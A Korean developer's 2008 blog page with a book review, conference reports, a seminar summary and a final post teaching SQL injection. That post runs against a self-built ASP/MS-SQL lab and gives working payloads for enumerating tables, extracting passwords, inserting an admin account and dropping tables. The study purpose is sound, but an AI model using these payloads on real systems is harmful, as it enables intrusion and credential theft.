노무현 전 대통령 서거 추모글 남기기

열씨미와 게을러의 리눅스 개발 노하우 탐험기 상세보기
박재호 지음 | 한빛미디어 펴냄
초급에서 중급으로 넘어가는 리눅스 개발자를 위한 『열씨미와 게을러의 리눅스 개발 노하우 탐험기』. 리눅스 신참인 '열씨미'와 리눅스 해커인 '게을러'라는 상상의 인물의 대화를 담아냈다. 이 책은 우리가 리눅스로 개발하면서 겪게 되는 개발 현장 사례 14가지를 흥미로운 이야기로 실감나게 재구성한 것이다. 이야기마다 '열씨미'와 '게을러'의 해결방안을 동시에 수록하고 있어서 현재보다 나은 해결방안을 모색할 수 있도
 
저는 리눅스 기반에서 개발한지 1년 조금 넘었습니다.
제목과 표지만 보았을 때는 개발을 하면서 느낀 어려운 점이나 생각해야 할 문제 등과 관련한 내용을 이야기 식으로 전달하는 약간 '뉴욕의 프로그래머'같은 픽션 쪽인줄 알았습니다만 받아서 읽어 보니 생각과는 거리가 먼 형식이었습니다.

진짜 선배 혹은 사수로서의 경험에서 우러나온 '실용적'인 내용이 바탕이었지요. 그래서 그리 쉽지만은 않았습니다. 그런데 문득 보기엔 어렵게 느껴졌으나 알고 보니 제가 평소에 사용하던 기능에 대해 좀 더 자세히 설명해 주고 있어 흥미가 생기고, 모르고 쓰던 부분까지 잘 정리해 알려주어 좋았습니다. 챕터별로 내용이 분리되어 있어 한 챕터씩 읽다보면 술술 읽히기는 합니다. 대화 형식의 내용 뒤에 꼭 '결론' 부분이 있어 간단히 요약을 해주어 앞서 다루었던 내용에 대해 생각을 정리하는데도 도움이 되었구요. 굳이 물어보지 않았다면 몰랐을 내용들이 많았고, 직접 실행해보지 않으면 아무래도 기억하기 힘들 다양한 팁들이 있었기에 아무래도 두고두고 봐야겠다는 생각이 들었습니다.

이 책을 지으신 분은 내공이 상당하겠다고 생각했는데, '조엘 온 소프트웨어'를 번역하신 분이셨네요. 저도 이런 팁들을 정리해서 글을 올려 사람들에게 도움을 줄만한 실력으로 성장하고 싶은 마음이 앞섭니다. 좀 더 쉽게 전달할 수 있었으면 좋겠다는 생각도 듭니다.

'개발자가 뭐길래' 카테고리의 다른 글

IT 여성으로 살아가기  (4) 2008.04.01
KLDP Conf 2008년 3월 8일  (11) 2008.03.10
KLDP Conf  (2) 2008.03.07
제4회 파도콘 2008 후기  (8) 2008.02.26
파도콘 Conference 2008  (6) 2008.02.22

KLDP Conf

개발자가 뭐길래 | 2008. 3. 7. 10:18 | sweetw
KPDP 2008 conference가 ... 3월 8일 토요일 오후 4시부터 토즈 강남대로점에서 개최됩니다.

사용자 삽입 이미지

주제는 오픈소스입니다.
  1. peremen, 학생, 고등학생과 오픈소스
  2. 소타, 직장인, PostgreSQL의 오래된 진실
  3. Mind$torm, 학생, 리눅스 포팅 이야기
  4. 권순선, NHN/KLDP, 2008년 오픈소스 전망
  5. inureyes, 학생, 웹 플랫폼과 오픈소스 개발
  6. 송진영, 직장인, 기계설계 및 생산자동화 분야에서의 오픈소스

굉장히 늦은 소개인데..
KLDP conf 가 어찌나 인기가 좋은지, 홍보 시작한지 며칠 내에 모집인원(70명)이 넘어버려서(대기자가 40명이나 되네요) 저는 여자개발자 모임에서 따로 신청했습니다. ^^; 이번에 10명 정도 따로 모집을 해서 넣어주시더라구요.

오.. 오픈소스.. ㅡㅡ 안그래두 그것 때문에 힘든 나날을 보내고 있는 중인데 잘되었습니다.
한달 전 쯤에 신청한건데 잊고 있다가 엊그제 서핑하다 우연히 찾아 생각났습니다 --; 다행이네요.
홍보글을 올려야 되는데 하루 전이라 별 소용이 없겠어요 에궁
앞으론 스스로의 무사참가를 위해서라도 잘 적어둬야겠어요.

http://wiki.kldp.org/wiki.php/KLDPConf/20080308


파도콘은 해킹을 연구하는 대학생들의 축제로,
2월 25일 26일 이틀간 양재동 교육문화회관에서 진행되었습니다.

세미나와 해킹대회등이 열렸는데, 둘째 날은 스타대회도 스케줄에 포함되어 있어
거의 10년을 넘어서는 스타의 인기는 아직도 대학가에 계속되고 있음을 새삼 느꼈습니다.
그 중 첫째날만 참석하게 되었는데요, 오프닝에 회장이 나와서 '즐기자'고 했는데..
그 말에 딱 맞는 대학 학술 축제 분위기였던것 같습니다.
뒷풀이로 저녁식사를 제공하고 술마시고 뻗을 사람을 위한 호텔방도 2개를 잡아놨다는데 꼭 뻗을 정도로 술을 마셔야 친해질 수 있는가.. 그 돈으로 다과라도 준비했다면 모두가 즐길 수 있는 시간이 될 수 있었을텐데 대학때 시작하는 술 문화는 여전하단 생각도 들었네요.
1년을 준비했다고 하는데 주최측 운영자? 분들에게 뭘 물어봐도 안내도 시원찮구요..ㅎㅎ

이 컨퍼런스의 핵심은 아무래도 세미나 발표와 해킹대회였는데 발표회장 밖의 수다와 웃음소리, 사람들 들락날락하는 소리가 발표자에게나 열심히 듣는 사람에게 피해를 많이 주었습니다.
이런 비매너는 사실 학생들이라서 그런게 아니라 우리 나라 사람들 대부분이 그런 것 같아요.
이런 점은 좀 반성해야겠습니다.

이 날 발표는 5건이 있었는데 발표자 분들 모두 자신있는 모습으로 재밌게 잘하시더군요.
특히 마지막 챕터 양봉열씨의 Ending Spam 발표를 가장 인상깊게 들었습니다.
말그대로 스팸을 끝장낸다는 주제인데요, 해킹에 대한 자질구레한 설명없이 꼭 발표 주제에 해당하는 내용만을 정리해 주셔서 좋았습니다.

스팸의 탄생과 그걸 막고 뚫고 해왔던 재밌는 일화, 스팸을 어떻게 해결하는가에 대한 배경지식과 상세한 방법 등을 쉽게 설명해 주셨고 (수학 공식이 있었는데 전혀 어렵게 느껴지지 않았어요 멋져~)
간단한 시연과 더불어 참고할 만한 이론들도 소개해 주어 발표내내 집중이 되고 흥미를 끌 수 있었던 것 같습니다.

뭐 좀 더 상세히 적자면 스팸에 대해 학습을 할 때 불확실성을 정량화할 수 있는 '폴 그레이엄의 Bayesian Spam Filter 알고리즘'을 이용해 스팸인지 햄(스팸이 아닌 메일)인지 구분하게 되었고, 더 좋은 방법으로 HMM과 Calibration이 소개되었습니다.

더 나아가 한 사람이 스팸을 받았을때 등록하면 다른 사람도 모두 학습해서 그 스팸이 새로운 유형이더라도 모두에게 스팸으로 인식될 수 있도록하는 집단 지성 알고리즘을 이용하거나, 쓰레기 email 주소를 대량으로 만들어 뿌리고 그 주소에 메일이 도착하면 반드시 스팸이므로 그 주소를 차단하는 방식인 '허니팟(꿀통으로 유인하기)', 스패머에게 답장을 해서 DOS나 DDOS를 일으켜 역공격하는 방법등 재미난 내용들이 많았어요.

PPT를 보면 더 상세한 내용을 확인할 수 있을텐데.. 아직 안올라온 모양이예요.
발표 끝나자마자 그 분에게 뛰어가서 PPT 좀 달라고 조르고 싶었지만 -.-)
나보다 어리기도 하고 당황할 것 같아 그냥 조신하게 돌아왔어요.(쪼금후회되네요)

사실 졸업작품할때 HMM을 이용한 사람 움직임 인식을 주제로 해서 학습이나, HMM에 대해 쬐금 맛을 보았기 때문에 더 관심이 간 것 같기도 합니다.
어찌된게 지금 맡은 업무에서도 학습관련 작업을 계속 하고 있고요. 허허

간략하게 느낀점이라면.. 학생이면서도 실력들도 대단한것 같아 흐뭇하기도 하고 자극도 되었어요.
이런 장소를 빌려 큰 컨퍼런스 행사를 진행하는 것 자체가 이 분야에 관심있는 학생이나, 업계에 계신 분들에게도 큰 의미가 있는 것 같아요.
참여도도 대단해서 발표회장에 의자가 모자랄 지경이었지요.

점점 발전해 더 넓은 곳에서 다과도 차려놓고(강조) 번듯하게 하는 날이 오길 기원합니다.



이 글은 스프링노트에서 작성되었습니다.

파도콘 Conference 2008

개발자가 뭐길래 | 2008. 2. 22. 17:47 | sweetw
대학 연합 해킹/보안 컨퍼런스 파도콘(PADOCON)에서 2008년 2월 25일(월)~26일(화) 1박 2일 일정으로 서울에서 “제4회 PADOCON"을 개최합니다.
사용자 삽입 이미지

  • 주제 : PADOCON 2008
  • 일시 : 2008년 2월 25(월) ~ 26일(화) - 2일간
              (25일(월)은 오후 1시부터 6시까지 진행되며 26일(화)은 오전 10시부터 오후 6시까지)
  • 장소 : 서울 양재 교육문화회관 야외신관
  • 대상 : 국내외 해킹과 보안에 관심있는 모든 분들
  • 참가비 : 무료
  • 주관 : 대학 연합 해킹/보안 컨퍼런스 파도콘, 충남대학교 인터넷침해대응기술연구센터(IIRTRC)
  • 파도콘 홈페이지 : http://www.padocon.org/
  • 관련 뉴스 : 대학생들이 만드는 체험형 해킹·보안 축제열린다

    지난번 열렸던 제11회 해킹방지워크샵과 같은 장소에서 열리네요.
    대학생들을 위한 기회이긴 합니다만..
    대학생처럼 꾸미고 갈겁니다. -_ -
    노트북만 들고가면 누구나 참여할 수 있는 리얼 해킹 대회도 열리고, 아이팟, 닌텐도, PHP 등 임베디드 기기 해킹도 직접 해볼 수 있다네요. 그 외 스타크래프트 대전도 열리던데 -.- 호오
    모두 실력들이 대단하겠지요~ 궁금하기도 하고 기대도 되는군요~
  • '개발자가 뭐길래' 카테고리의 다른 글

    KLDP Conf  (2) 2008.03.07
    제4회 파도콘 2008 후기  (8) 2008.02.26
    JCO 한국 자바 개발자 컨퍼런스  (2) 2008.02.12
    열씨미와 게을러 리뷰어 당첨  (6) 2008.02.04
    여자개발자모임 제1회 릴레이 세미나  (7) 2008.02.03
    사용자 삽입 이미지
    http://www.jco.or.kr
    자바 개발자 컨퍼런스, 가보기로 했습니다.
    꼭 C 개발자 컨퍼런스는 없기 때문-_ㅠ 만은 아니고...
    자바 개발자가 아니라도 도움이 될 것 같아요.

    (자바기반)대용량 접속 처리 노하우,
    효율적인 데이터 관리를 위한 하이브리드 DBMS,
    APM 리소스중심적 어플리케이션 성능 모니터링,
    스티브 맥코넬 이야기,
    애자일에 대한 7가지 교훈 또는 경력관리, 취업을 위한 조언,
    실용주의 개발환경 또는 오픈소스를 통한 비지니스 모델
    순으로 들을 생각이예요.

    고민하다가 오늘에야 신청했는데, 84**번이네요.
    세상에 8천명 이상 오는 컨퍼런스는 처음입니다.

    하루 종일 이 많은 얘길 잘 소화할 수 있을까요

    '개발자가 뭐길래' 카테고리의 다른 글

    제4회 파도콘 2008 후기  (8) 2008.02.26
    파도콘 Conference 2008  (6) 2008.02.22
    열씨미와 게을러 리뷰어 당첨  (6) 2008.02.04
    여자개발자모임 제1회 릴레이 세미나  (7) 2008.02.03
    SQL injection  (6) 2008.01.23


    요 책 리뷰어 모집 오늘 당첨자 발표가 났어요.

    맨 밑에 제 아이디가 있는 것을 보고 얼쑤!!! 하구 좋아했는데

    뭐염.. 13명 지원자 중에 10명 뽑은 거더라구요- _-)a

    뭐 어쨌든

    잼날 것 같아요, 빨리 왔음 좋겠어요~
    여자개발자모임 제1회 릴레이 세미나가
    2월 2일 토요일 5시부터 9시까지 포스코 건물에서 열렸습니다.

    첫 세미나 발표 주인공은 IT계의 스타 김창준님이셨습니다.
    주제는 '남들이 가지 않는 길을 가는 것' 이었습니다. '영어잘하는 방법'이라는 주제와 다수결에서 박빙을 이루었는데, 결국 이것이 채택되었네요.
    저는 이번 세미나를 듣고..
    그 분을 'IT계의 무릎팍도사'라 생각하게 되었지요.
    세미나 내용을 간략히 마인드맵으로 정리했습니다.
    사용자 삽입 이미지

    1. 하다 보니 컴퓨터쪽으로 왔는데, 열정이 없다. 이래도 계속 이 길을 가야할까?
    자신이 원하는 것을 찾는 것이 옳다고 본다. 그런데 보통 전력투구를 안해보고 이길이 아닌갑다, 하는 사람이 많다. 일단을 열심히 해보고, 그래도 아니라 생각되면 빨리 돌아서라.
    전력투구를 할 때는 시키는 일만 한다고 되는 것이 아니다. 내 상사의 책임, 내 상사의 상사의 책임이 무엇인가를 생각해보고 그 안에서 내가 하고 싶은 일을 찾아서 해보라.

    2. 이직을 위한 회사에서의 경력관리는 어떻게 해야 할까?
    회사는 개인의 경력을 책임지지 않는다. 필요한 것만 가르쳐줄 뿐이다. 개인으로서 언제 회사가 망해도 누군가가 love call을 받을 수 있도록 준비하라. 실력을 닦는 것은 물론이고 자비를 들여서 투자하라.

    3. 회사에서 어떻게 눈치 안보고 자기개발을 할까?
    '위기지학'을 생각하고 작은 실험들을 하라.
    일을 수련화하라. 자기 자신의 일을 편하게 해주는 일을 하라. 업무에 드는 시간을 줄일 수 있다.

    4. free agent로 성공하려면?
    개인브랜드가 있는가? '야, 그거참 ㅇㅇ(내이름)스럽다' 라는 말을 주변에서 한다면 개인 브랜드가 있는 것이고, 그것으로 성공할 수 있다.

    5. SI개발자는 현실적 한계가 많다. 한계를 벗어나려면?
    한때 '정' 이었을때 프로토타입을 가지고 갑을 찾아가 아이디어를 제시했고, 갑은 나를 신뢰하게 되었다. 상사의 책임, 상사의 상사의 책임, 회사에 이로운 일들이 무엇인지 생각해보자. 서비스 받는 입장에서 생각해 보고 일을 해보라.
    SI업체에서 갑을병정의 현실을 깨기는 힘들다. 경험담으로 좋은 고객인데 돈이 짜고, 나쁜 고객인데 돈은 많이주는 두 경우가 있을때 좋은 고객을 선택했다. 나쁜 고객의 일을 해주면 계속 질 나쁜 회사들이 물고 따라 들어와 일을 맡게 되는 악순환이 발생한다.
    연대를 활용하라. 연대를 찾아보면 SI라도 좋은 회사를 많이 알고 있다.
    회사를 관두는 것에 대해 두려워 하지 말라. 후배들에게 가장 해주고 싶은 말이 있다면 '네가 세상의 끝이라고 생각해도, 끝이 아닌 경우가 많다'는 것이다. 독신인 경우 몇개월 살수 있는 여비만 있으면 얼마든지 자기 길을 갈 수 있다. 내 돈보다 중요한 것은 자기 기준을 지키는 것이다.

    6. 경쟁사와의 경쟁에 대한 압박, 어떻게 이겨내나?
    내 삶의 미분값(기울기)만 읽어라. 자기가 이전보다 개선되고 있는가를 질문하라.
    내가 왜 이일을 해야하나? 뭐가 필요한가? 라는 근본적이고 중요한 질문을 하고, 스스로 해답을 구하면 경쟁할 필요가 없다.

    7. 배운 것을 적용하기란 쉽지 않다. 어떻게 할까?
    stand up meeting을 배웠을 때, 당장 실행해 보고 싶었지만 모든 사람들이 따라준 것은 아니다. 팀에서 좋아할만한(같이 하면 성공적 결과가 나올만한) 사람을 찾아 둘이서라도 해본다. 사소하지만 작은 성공을 통해서 마음을 단련해야 한다. 사람에는 세 부류가 있기 마련인데 열성자/방관자/적대자가 그것이다. 열성자부터 우선 같이 해보고 성공해보라. 그러면 적대자를 방관자로, 방관자를 열성자로 만들 수 있다 사람에 대해서도, 코드에 대해서도 쉬운 것부터 이루어 보라.

    8.사람들과의 충돌 문제는 어떻게 해결하나?
    해결할 수 없는 것은 없다. '비폭력 대화'를 이용해 더 즐겁고 더 인간적인 작업환경을 만들 수 있다. 비폭력 대화란 폭력적 상황에서 어떻게 대화할 것인가 하는 것이다. 자신의 감정을 솔직하게 드러내는 것이 좋다. '너 싫어' '나 지금 화가나' 등.. 그걸 모른척하면 자기 자신을 파괴하는 것이라고 본다.
    사용자 삽입 이미지

    이렇게..


    9. 감정을 표출하면 내 약점을 잡히는 것 같은데?
    정직하고 솔직한 것이 자기 자신을 속이지도 않고 괴롭지도 않다. 좋아하는 것을 노출하는 것이 세상을 더 행복하게 한다.

    10. 10등이었는데 겨우 노력해서 2등을 해봤다. 다시 10등으로 돌아가고 싶은데 상사가 2등을 요구한다.
    장기적인 노력을 보여준다. 혹은 사실대로 얘기한다. 그래도 굳이 2등을 무리하게 요구하면 회사를 옮기면 된다. 먹고 살길은 언제나 열린다.

    11. 지방에 있어서 기회가 적은 것 같다. 그래도 개인 브랜드를 높일 수 있을까?
    블로그에 글쓰는 훈련을 해보라. 남들보다 내가 쓰면 잘 쓸것 같다는 것을 주제로 잘하는 것, 좋아하는것(개발에 관련된것이면 더 좋고)을 잘은 못쓰더라도, 일주일에 1번씩이라도 써보라.
    그리고 소수더라도 남에게 가치를 줄 수 있는 것을 써보라. 3단락이상 긴 글을 쓰는 연습을 해보라. 점점 내 글과 생각이 쌓여가고, 나만의 브랜드를 찾아 키워나갈 수 있을 것이다. 또한 이런 모임에 자주 참여해서 끈을 만들어라.

    12. 내가 무림고수가 되어서 더이상 도반(함께 도를 닦는사람)을 구할 수 없을때는?
    꼭 컴퓨터 분야가 아닌 쪽에도 나아게 자극을 줄 수 잇는 도반은 많다. 존경할만한 후배도 많다.
    없으면 가상의 도반을 만들어라. 그리고 그 도반이라면 이런때 어떻게 했을까? 를 질문해 보고 답변을 얻으라.

    여자개발자 모임에 남자도 참석한 세미나는 이번이 처음이었네요. 뒷풀이에서 늘 개발자 모임에 가면 남자가 대다수고 여자가 거의 없었는데, 이번 모임은 여자가 더 많아 낯설고 묘하다는 분도 계셨습니다. 생각해보니 그럴만도 하네요^^

    후기를 적어보자면.. 쉴새 없는 질문에도 예를 들어가며 하나하나 답변해 주시는 김창준님이 참 대단해 보였습니다. 젊은 나이에도 불구하고 그렇게 되기 위해서는 공부하고, 많은 경험을 해보는 것도 중요하겠지만 평소에 많은 많은 생각을 해보고 의문을 가져 봐야 할 것 같습니다. 똑같이 사과가 떨어지는 것을 보고도 뉴턴은 만유인력의 법칙의 힌트를 얻을 수 있었던 것처럼 말입니다.

    김창준님은 천재가 아닐까?라는 생각도 했습니다. 초등학생때 이미 C프로그래밍을 했다니요. 대학교와서 C프로그래밍 해본 저로서는 세미나 내내 '회사 맘에 안들면 나가면 그만이다', '을이지만 갑처럼 행동할 수 있다' 등등의 긍정적 내용에 괴리감이 생기기도 했어요. 그런데 이 말씀도 해주시더군요. '우리는 보통 자기 자신을 과소평과하는 경향이 있다'라고..
    정말 그럴지도 모르겠습니다. 박진영도 그랬지요, 겸손은 이미 거성이 되었을때 하는 것이지 막 크고 있는 사람에겐 필요없다고.. (뭐, 똑같은 건 아니고 이 비슷한 말을 했어요)

    인간관계 개선문제에 관해서는 약간 서양인의 생각 구조를 따라가고 있다는 생각도 들었습니다. 아침마당에 나온 의사가 그러더군요. 한국 사람은 참고 참는 바람에 속병에 탈나서 죽고, 서양인은 감정표출을 심하게 하다 혈압이 와서 죽는다고요. 그래도 전 속병나서 죽고 싶지는 않아요. 세미나에서 가장 인상 깊었던 메시지가 '정직하게 살 수 있다'는 말이었거든요. (그동안 정직하지 못해 굶주렸는지도)  정직하게 산다는 말은 결국 내가 원하는 대로 살 수 있다는 말인 것 같습니다. 일도 없는데 주변 눈치때문에 퇴근 못하고 앉아 있기, 쌩떼부리는 갑 일 하기 싫지만 다해주기 등등 우리는 너무 많이 숨기고 살았던게 아닐까요? 물론 그렇게 살기 위해 맡은 책임을 다 해야겠지요.

    좋은 분 만나 좋은 말씀 듣게 되어서 참 유익한 시간이었습니다.
    회비를 모아 세미나 해주신 김창준님께 소정의 선물도 전달했지요.
    이렇게 발전적인 모임을 하는데, 여자개발자 모임도 이제 서포터가 생겼으면 좋겠어요.ㅎㅎ

    SQL injection

    개발자가 뭐길래 | 2008. 1. 23. 20:07 | sweetw
    SQL Injection
    Sql을 사용하는 데이터베이스의 취약점을 악용하는 기술을 말한다.
    sql 명령어에서 string을 입력할 때 사용하는 '(single quote:외따옴표)나 명령어의 끝이자, 새 명령어의 시작임을 알리는 딜리미터 ;(세미콜론)등을 교묘하게 이용하는 방법은 이미 널리 알려진 해킹 방법이다. advanced sql injection In SQL Server Applications에는 해커가 어떤식으로 database의 정보를 이용하는지 차근차근 설명되어 있다. 2002년도꺼라 지금은 이미 식상할지도 모르겠지만 일단 입문하는 마음으로 그 중 앞부분(뒷부분은 DB공부를 좀 더 하고-_-)을 참고하여 딱 9가지만 정리하였다.

    테스트 환경
    • os :  windows 2000 pro
    • DB : MS SQL personal
    • 스크립트 언어 : ASP
    login_page.html 과 process_login.asp 파일을 IIS 서버에 올리고 테스트한다.
    로그인 페이지는 다음과 같다.

    사용자 삽입 이미지

    MS-SQL에 미리 테이블을 생성하고 값을 입력해두자.

    테이블생성

    create table users( id int,

       username varchar(255),

       password varchar(25),

       privs int)

    값 입력

    insert into users values( 0, 'admin' , '1234', 0xffff)

    insert into users values( 0, 'guest', 'guest', 0x0000)

    insert into users values( 0, 'chris' , 'password', 0x00ff)

    insert into users values( 0, 'fred', 'sesame', 0x00ff)


    attacker의 관점

    이와 같은 DB 시스템에서,공격자가 자기 자신의 계정을 만들고 싶어했을 때 users 라는 테이블의 존재나 구조를 모르면 공격이 불가능할 것이다. 우연히 맞춘다 해도, privs 라는 필드는 어떤 필드인지 확실하지 않다. 공격자에게는 다행이게도, ASP 기준 application에서는 에러가 있을 경우 그 내용을 리턴하는데 내용이 노출되면 공격자가 그것을 참고하여 데이터베이스의 구조를 파악할 수 있게 된다.


    공격 1 - 테이블명 알아내기 (having)

    username : ' having 1=1--

    참고로

    ① having절은 group by에 의한 결과를 제한할 때 사용한다. group by 에 의해 결과를 집계한 다음 having 절에 명시한 조건으로 맞지 않는 결과는 버린다.

    ② -- 는 뒤에 오는 내용을 'single line comment(한 줄짜리 주석)로 만든다.

    asp 코드를 보면

    select * from users where username = ' +username+ ' and password = ' +password+'

    라고 되어있다. 여기서 보라색 username, password는 사용자가 입력한 값이 들어가게 된다.

    username 칸에 위와 같이 입력하면 내부적으로 완성되는 쿼리는 다음과 같다.

    내부적으로 완성되는 쿼리 :

    select * from users where username = '' having 1=1-- and password = ''

    -- 이하는 주석처리되므로 결국 다음과 같다.

        select * from users where username = '' having 1=1--

    이는 다음과 같은 에러를 만든다

    Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
    [Microsoft][ODBC SQL Server Driver][SQL Server]'users.id' 열이 집계 함수에 없고 GROUP BY 절이 없으므로 SELECT 목록에서 사용할 수 없습니다.
    /process_login.asp, line 34

    이 에러메시지를 통해 table명이 users라는 것과 첫번째 필드명이 id라는 것을 알 수 있다.
    공격자는 이제 각 필드를 알아낼 차례다.


    공격 2 - 필드명 알아내기 (group by)

    Username : ' group by users.id having 1=1--

    내부적으로 완성되는 쿼리 :

    select * from users where username = ''group by users.id having 1=1-- and password =‘’

    이는 다음과 같은 오류를 낸다.

    Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
    [Microsoft][ODBC SQL Server Driver][SQL Server]'users.username' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다.
    /process_login.asp, line 34

    결국 공격자는 username을 얻는데에도 성공한다.

    'group by users.id, users.username having 1=1-- 를 이용해 users.password를 알수 있고,

    'group by users.id, users.username, users.password having 1=1-- 를 이용해 users.privs를 알수 있다.

    이런식으로 하나씩 늘려가다보면 마침내 다음과 같이 에러를 내지 않는 쿼리를 완성하게 된다.

    username : ' group by users.id, users.username, users.password, users.privs having 1=1--

    이는 다음과 같은 뜻이 된다.

        select * from users where username  = ''

    이로써, 공격자는 두 가지 사실을 알게 된다.

    • 이 쿼리가 오직 users 테이블만 참조한다는 것
    • users 테이블에서 id, username, password, privs 컬럼을 사용한다는 것

    공격 3 - 필드 타입 알아내기 (union)

    공격자는 아직 각 필드의 타입을 모른다.

    타입에 대한 에러를 보기 위해 다음과 같은 공격 쿼리를 입력한다.

    Username : ' union select sum(username) from users--

    내부적으로 완성되는 쿼리:
    select * from users where username = ‘' union select sum(username) from users-- and password=‘’

    참고로
    union 쿼리는 두개의 테이블에 있는 내용을 동시에 가져오는 방법이며 두테이블이 전혀 관계 없어도 가능하다. union은 여기에 쉽게 나와 있다>>
    http://blog.naver.com/mulriver?Redirect=Log&logNo=120005713026

    여하튼 위의 쿼리는 sum 명령에 대하여 계산을 시도하다 다음과 같은 에러가 난다.

     Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
    [Microsoft][ODBC SQL Server Driver][SQL Server]sum or average aggregate 연산에서는 varchar 데이터 형식을 인수로 취할 수 없습니다.
    /process_login.asp, line 34

    이 에러 메시지는 username 이 varchar 형임을 말해준다. 만약 varchar가 아니라 숫자형이었으면 어땠을까?

    Username : ' union select sum(id) from users--

    내부적으로 완성된 쿼리 :
    select * from username=‘’ union select sum(id) from users-- and password = ‘’

    id(numeric 타입)를 sum()으로 계산하려고 하니 다음과 같은 에러가 난다.
    Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
    [Microsoft][ODBC SQL Server Driver][SQL Server]UNION 연산자를 포함하는 SQL 문의 모든 쿼리는 대상 목록에 동일한 개수의 식이 있어야 합니다.
    /process_login.asp, line 34

    type conversion에 관련한 메시지가 된다. 만약 string을 integer형으로 변환시키려고 하면, string의 내용 전부가 에러 메시지로 출력되는 것이다. 이러한 기술을 이용해 어떤 table의 어떤 column이든 type 을 대략 추정할 수 있다. 이는 공격자에게  완벽한 insert문을 만들 수 있게 해준다.

    공격 4 - 계정만들기 (insert)

    공격 3까지에서 테이블명, 필드명, 각 타입을 알았으므로 공격자가 임의의 값을 테이블에 넣는 쿼리를 만들어 실행할 수 있다.

    username : '; insert into users values(666,'attacker' , 'foobar', 0xffff)--

    내부적으로 완성된 쿼리:
    —select * from username=‘'; insert into users values(666,'attacker' , 'foobar', 0xffff)-- and password = ‘’

    세미콜론(;)있는 부분에서 select 문이 끝나고 insert 문이 실행되어, attacker의 데이터가 고스란히 db 테이블에 저장된다.

    공격 5 - 버전 및 환경 알아내기 (@@version)

    공격자는 database나 서버 환경에 대한 정보도 밝혀낼 수 있다.  우리 테스트 페이지에서는 SQL서버의 버전과 이것이 동작하는 OS도 알려준다.

    username :  ' union select @@version,1,1,1--

    내부적으로 완성되는 쿼리:
    select * from users where username =‘union select @@version,1,1,1-- and password = ‘’

    에러메시지는 다음과 같다.
    Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
    [Microsoft][ODBC SQL Server Driver][SQL Server]nvarchar 값 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Personal Edition on Windows NT 5.0 (Build 2195: Service Pack 4) '을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
    /process_login.asp, line 34

    이 공격은 @@version을 integer형으로 변환시키려고 시도한다. 왜냐면, users 테이블의 첫 column이 integer형이기 때문이다.

    참고 )  ' union select 1, @@version,1, 1-- 를 이용하면 정상인것처럼 출력됨

    이 기술을 이용해 db의 어떤 테이블의 어떤 값이든 읽을 수 있다.


    공격 6 - 계정 추출하기 (type convert error)

    공격자가 username과 password에 관심이 있다면 users 테이블에서 다음과 같은 시도를 할 것이다.

    Username : 'union select min(username), 1,1,1 from users where username > 'a'--

    내부적으로 완성된 쿼리 :
    select * from users where username =‘'union select min(username), 1,1,1 from users where username > 'a’-- and password =‘’

    이 쿼리문은 'a'보다 큰 username 중 minimum(최소)값을 가져온다. 그리고 그것을 integer형으로 변환을 시도하다가 다음과 같은 에러를 발생시킨다.
    Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
    [Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 'admin'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
    /process_login.asp, line 34

    이로서, 공격자는 admin계정이 존재함을 알게 된다. 공격자는 where 절을 이용해 각 계정의 이름을 모두 알아낼 수 있다.

    'union select min(username), 1,1,1 from users where username > 'admin'--
    Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
    [Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 'chris'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
    /process_login.asp, line 34

    'union select min(username), 1,1,1 from users where username > 'chris'--Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
    [Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 'fred'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
    /process_login.asp, line 34

    'union select min(username), 1,1,1 from users where username > 'fred'--
    Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
    [Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 'guest'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
    /process_login.asp, line 34

    'union select min(username), 1,1,1 from users where username > 'guest'--
    -> 통과 (더이상 없음)

    공격 7 - 계정의 패스워드 알아내기

    공격자가  username을 알아내기로 마음 먹었다면, password도 알아낼 수 있다.

    Username : 'union select password,1,1,1 from users where username = 'admin'--


    내부적으로 완성되는 쿼리:
    select * from users where username = ‘'union select password,1,1,1 from users where username = 'admin‘-- and password =‘’
    Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
    [Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 '1234'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
    /process_login.asp, line 34

    공격 8 - Transact-SQL

    더 똑똑한 기술이 있다. username 과 password를 연계해 single string 으로 만들어 이를 integer형으로 변환을 시도하는 방식이다. Transact-SQL 명령어로 string을 고스란히 한라인에 쓸 수 있다.

    이용하는 쿼리 :

    1. begin declare @ret varchar(8000)
      set @ret=':'
      select @ret=@ret+' '+username+'/'+password from users where
      username>@ret
      select @ret as ret into foo
      end
    이를 한 줄로 만들어 공격에 임해보자.
    username : '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end--

    이  결과로 'ret'이라는 single column을 가진 'foo'라는 테이블을 만들고 string을 거기 집어넣는다.

    이제 공격자는 그 테이블의 string을 가져온다.

    username : ' union select ret,1,1,1 from foo--
    Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
    [Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 ': admin/1234 guest/guest chris/password fred/sesame'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
    /process_login.asp, line 34

    모든 id와 password가 에러메시지에 한줄로 나오는 것을 볼 수 있다.

    이제 이를 확인한 공격자는 깔끔하게 table을 없애거나(drop) 내용을 삭제(delete)한다.

    Username : '; drop table foo--

    내부적으로 완성된 쿼리 :
